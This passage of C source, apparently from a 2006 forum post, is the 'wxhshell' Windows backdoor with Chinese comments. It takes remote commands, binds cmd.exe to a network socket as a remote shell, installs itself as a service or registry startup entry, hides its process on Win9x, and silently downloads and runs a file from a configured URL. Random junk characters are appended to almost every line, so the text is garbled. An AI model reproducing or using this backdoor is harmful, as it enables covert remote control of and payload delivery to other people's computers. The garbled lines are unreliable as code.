  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ok7yFm1\  
  } edD"jq)J  
  else { OA3* "d*  
&GH ,is  
    switch(cmd[0]) { R2$;f?;:  
  f6Io|CZWJ  
  // 帮助 9K5[a^q|My  
  case '?': { fdRw:K8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G' 'l,\3  
    break; h_:|H8t;w  
  } 1V37% D  
  // 安装 V_"K  
  case 'i': { P2;I0 !  
    if(Install()) 0qrsf!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *PJg~F%  
    else 79 ZBVe(}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -O-qEQd  
    break; xl~%hwBd  
    } S<V__Sv  
  // 卸载 PME ?{%&  
  case 'r': { $!_]mz6*  
    if(Uninstall()) , 1{)B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  uM9[  
    else '9MtIcNb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v"&Fj  
    break; *n=NBkq%/!  
    } xW;-=Q  
  // 显示 wxhshell 所在路径 :5`BhFAd  
  case 'p': { ?E?dg#yk  
    char svExeFile[MAX_PATH]; $G5;y>  
    strcpy(svExeFile,"\n\r"); yprf `D>  
      strcat(svExeFile,ExeFile); tj_+0J$sw:  
        send(wsh,svExeFile,strlen(svExeFile),0); &[hq !v  
    break; 1>SCY _C v  
    } ~"+Fp&[9f  
  // 重启 9\]%N;;Lo  
  case 'b': { -  zQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t<6`?\Gk  
    if(Boot(REBOOT)) {IW pI *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )MKzAAt~  
    else { :+SpZ>  
    closesocket(wsh); 8U07]=Bt<  
    ExitThread(0); + fQ=G/  
    } |*im$[g=-  
    break; e'c~;Z\A  
    } FN&.PdRT  
  // 关机 U>z8gdzu  
  case 'd': { pA*cF!tq 7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /f9jLY +  
    if(Boot(SHUTDOWN)) @i9T),@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5]&vs!wH  
    else { =_`4HDr  
    closesocket(wsh); Zq--m/  
    ExitThread(0); Ny>tJ~I  
    } 4 }l,F  
    break; r2T-=XWB  
    } / W}Za&]  
  // 获取shell 0.+"K}  
  case 's': { uOqWMRsoi  
    CmdShell(wsh); 1CiK&fQ'  
    closesocket(wsh); *FkG32k  
    ExitThread(0);  @t  
    break; DdTTWp/  
  } lbv9 kk[  
  // 退出 Y) >GwFK$  
  case 'x': { l("Dw8 H  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )j40hrR  
    CloseIt(wsh); r`|/qP:T[  
    break; vnXa4\Vdy  
    } PX3rHKK {  
  // 离开 K YFumR  
  case 'q': { *sqq]uD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .Z}ySd:X  
    closesocket(wsh); vv  _I o  
    WSACleanup(); 1FS Jqad  
    exit(1); \k1psqw^O  
    break; J(0.eD91v  
        } h$p]#]uMb  
  } H[guJ)4#@  
  } i6zfr|`@  
e`#c[lbAAM  
  // 提示信息 Y?2I /  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M`ETH8Su=  
} 3y%B&W,sm  
  } c,1Yxg]|  
?Ovl(4VG  
  return; cbl2D5s+i]  
} 1pC!F ;9Oo  
#;Y JR9VN  
// shell模块句柄 nJ#uz:(w,  
int CmdShell(SOCKET sock) <LDVO'I0 !  
{ gRuNC=sR  
STARTUPINFO si; A e&t#,)  
ZeroMemory(&si,sizeof(si)); [0D( PV(n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5Cd>p<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $ +h~VC  
PROCESS_INFORMATION ProcessInfo; Vh:%e24Z  
char cmdline[]="cmd"; \cdNyVY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AHP_B&s,Qe  
  return 0; lkK+Fm  
} @X_x?N  
2*-s3 >VK  
// 自身启动模式 |A0LYKni  
int StartFromService(void) udDhJ?  
{ nsqs*$  
typedef struct N.C<Mo  
{ zR/d:P?  
  DWORD ExitStatus; V?v,q'? $  
  DWORD PebBaseAddress; C`3}7qi|C  
  DWORD AffinityMask; 2/qP:3)  
  DWORD BasePriority; (bi}?V*  
  ULONG UniqueProcessId; @^:R1c![s  
  ULONG InheritedFromUniqueProcessId; uh3%}2'P  
}   PROCESS_BASIC_INFORMATION; G}Cze Lw  
Cs7YD~,  
PROCNTQSIP NtQueryInformationProcess; Crmxsw.W^Y  
l;: L0(('  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'D8WNZ8Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w1/p wzn  
U7.3`qd"  
  HANDLE             hProcess; ~]DGf(   
  PROCESS_BASIC_INFORMATION pbi; V<AT"vU[  
3qPj+@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OWFLw  
  if(NULL == hInst ) return 0; pq7G[  
q4<3 O"c1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kJqgY|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qwb=N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (Bd8@}\u_  
NH$a:>  
  if (!NtQueryInformationProcess) return 0; SsfnBCVR  
tK6z#)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d6-a\]gF  
  if(!hProcess) return 0; (,`ypD+3q  
4mJ4)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f( 5c  
ps"DL4*  
  CloseHandle(hProcess); N;7Xt9l  
m5SJB]a/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7.$0LN/a!Z  
if(hProcess==NULL) return 0; pw*<tXH!  
EAU6z(X$  
HMODULE hMod; yf+M  
char procName[255]; .`& ($W  
unsigned long cbNeeded; V*rAZ0  
1u7Kc'.xc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G=!1P]M{  
Zf}]sW$H  
  CloseHandle(hProcess); 6Yebc_, R  
eKNZ?!c=  
if(strstr(procName,"services")) return 1; // 以服务启动 :}0y[qc3  
9l9 nT  
  return 0; // 注册表启动 uPc}a3'?  
} -! Hn,93  
L6Ykv/V  
// 主模块 NS @j`6/U  
int StartWxhshell(LPSTR lpCmdLine) -;cZW.<  
{ C1^=se  
  SOCKET wsl; 7A?~a_Ep  
BOOL val=TRUE; 1GKd*z  
  int port=0; [!p>Id  
  struct sockaddr_in door; -?`^^ v  
= ;#?CAa:  
  if(wscfg.ws_autoins) Install(); DVt;I$  
An!1>`8r  
port=atoi(lpCmdLine); 2Jl6Xc8  
x?Doe`/6?  
if(port<=0) port=wscfg.ws_port; E&P'@'Yk  
NL 3ri7n  
  WSADATA data; .5'M^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \ni?_F(Y  
A;n3""  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PjNOeI@G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w~hO)1c],:  
  door.sin_family = AF_INET; B}8xA}<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "hi?/B#d  
  door.sin_port = htons(port); |u8IQR'B  
St9W{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NrT!&>M  
closesocket(wsl); Ecp]fUQK  
return 1; 4Ei*\:  
} %!I7tR#;  
TZ{';oU  
  if(listen(wsl,2) == INVALID_SOCKET) { NpqMdd   
closesocket(wsl); ;QkUW<(  
return 1; .Nz2K[  
} S[(Tpk2_  
  Wxhshell(wsl); 8)HUo?/3  
  WSACleanup(); ,%7>%*nhk  
HZC^Q7]hy  
return 0; xX$'u"dsA  
NovF?kh2  
} #'[4k:  
ekC 1wN l  
// 以NT服务方式启动 |N, KA|Gdq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VWf&F`^B(  
{ =n .d'  
DWORD   status = 0; wb~B Y  
  DWORD   specificError = 0xfffffff; a)w *  
Vc0C@*fVM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y"6;O0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Kab"r_'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T1AD(r\W5  
  serviceStatus.dwWin32ExitCode     = 0; D*.U?  
  serviceStatus.dwServiceSpecificExitCode = 0; `&y Qtj# '  
  serviceStatus.dwCheckPoint       = 0; 2GeJ\1k  
  serviceStatus.dwWaitHint       = 0; OZ>w.$ue  
Nki08qZ[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZLm?8g6-  
  if (hServiceStatusHandle==0) return; %gUf  
7L3:d7=MIW  
status = GetLastError(); Ok63 w7  
  if (status!=NO_ERROR) mQ(6ahD U  
{ A$d)xq-]K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; } )D E  
    serviceStatus.dwCheckPoint       = 0; tNpBRk(}  
    serviceStatus.dwWaitHint       = 0; 2OT RP4U  
    serviceStatus.dwWin32ExitCode     = status; IBfLb(I  
    serviceStatus.dwServiceSpecificExitCode = specificError; _v=S4A#tF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J:W|2U="  
    return; ) 0NKL:u  
  } HK}br!?  
uBpnfIe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _[%2QwAUj*  
  serviceStatus.dwCheckPoint       = 0; 80J87\)  
  serviceStatus.dwWaitHint       = 0; FTu6%~M/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9ZXkuP9vm  
}  ;IV  
P ?^h  
// 处理NT服务事件,比如:启动、停止 HKB?G~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j8Pqc]  
{ d `MTc  
switch(fdwControl) /;5U-<qf  
{ -9PJ4"H  
case SERVICE_CONTROL_STOP: # <?igtUO  
  serviceStatus.dwWin32ExitCode = 0; .4CCR[Het  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8-#_xsZ^;  
  serviceStatus.dwCheckPoint   = 0; DsJ ikg(J  
  serviceStatus.dwWaitHint     = 0; ]S  
  { [|qV*3 |?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pVm]<jO  
  } @ra^0  
  return; UY5wef2sF  
case SERVICE_CONTROL_PAUSE: wak:"B[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g49G7sk  
  break; KIRCye  
case SERVICE_CONTROL_CONTINUE: #}xw *)3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o}4~CN9}  
  break; @5RbMf{  
case SERVICE_CONTROL_INTERROGATE: cy-o@U"s8  
  break; $.+_f,tU  
}; PEr &|H2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A4~- {.w=  
} REg&[e+%  
c1ga{c`Z  
// 标准应用程序主函数 !jQj1QZR`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L*6R5i>  
{ eG_@WLxwD  
c 80Ffq  
// 获取操作系统版本 e S: 8Pn  
OsIsNt=GetOsVer(); )Fsc0_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y&uwi:_g  
\Ota~A  
  // 从命令行安装 gbrn'NT  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZX8 AB  
ey]WoUZ  
  // 下载执行文件 ]*Cq'<h$  
if(wscfg.ws_downexe) { \1He9~6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 29HyeLB@  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^O3i)GO  
} |yinVfZ0C  
],~H3u=s3  
if(!OsIsNt) { 4%$#   
// 如果时win9x,隐藏进程并且设置为注册表启动 GU|(m~,`  
HideProc(); 4KX\'K  
StartWxhshell(lpCmdLine); O?`_RN4l  
} G,}"}v:  
else dw>1Ut{"3  
  if(StartFromService()) :+_  
  // 以服务方式启动 +-!2nk`"a  
  StartServiceCtrlDispatcher(DispatchTable); `$9sYv 2R  
else vD^Uod1  
  // 普通方式启动 Ys0N+  
  StartWxhshell(lpCmdLine); [X 9zrGHt  
I}+9@d  
return 0; af'gk&%  
}
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只看该作者 1 发表于: 2006-10-10
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